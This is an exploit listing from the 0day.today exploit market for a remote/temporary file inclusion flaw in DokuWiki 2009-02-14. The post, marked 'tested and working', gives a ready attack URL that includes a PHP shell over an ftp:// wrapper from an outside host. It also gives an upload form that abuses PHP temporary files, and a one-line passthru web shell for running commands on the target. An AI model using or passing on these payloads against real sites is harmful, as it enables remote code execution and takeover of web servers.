[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit

Author
Nine:Situations:Group
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5261
Category
web applications
Date add
25-05-2009
Platform
unsorted
===========================================================
Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
===========================================================


Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working


[quote]
It's not a RFI couse use of file_exists function.
[/quote]

How wrong brother!

trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)

http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt

trick 2:
needs register_globals = on
file_uploads = On (default)

include a temporary file passed by the $_FILES[] array:

<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>

where your shell is like:
<?php passthru($_GET[cmd]); die();?>

because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !



#  0day.today [2024-11-15]  #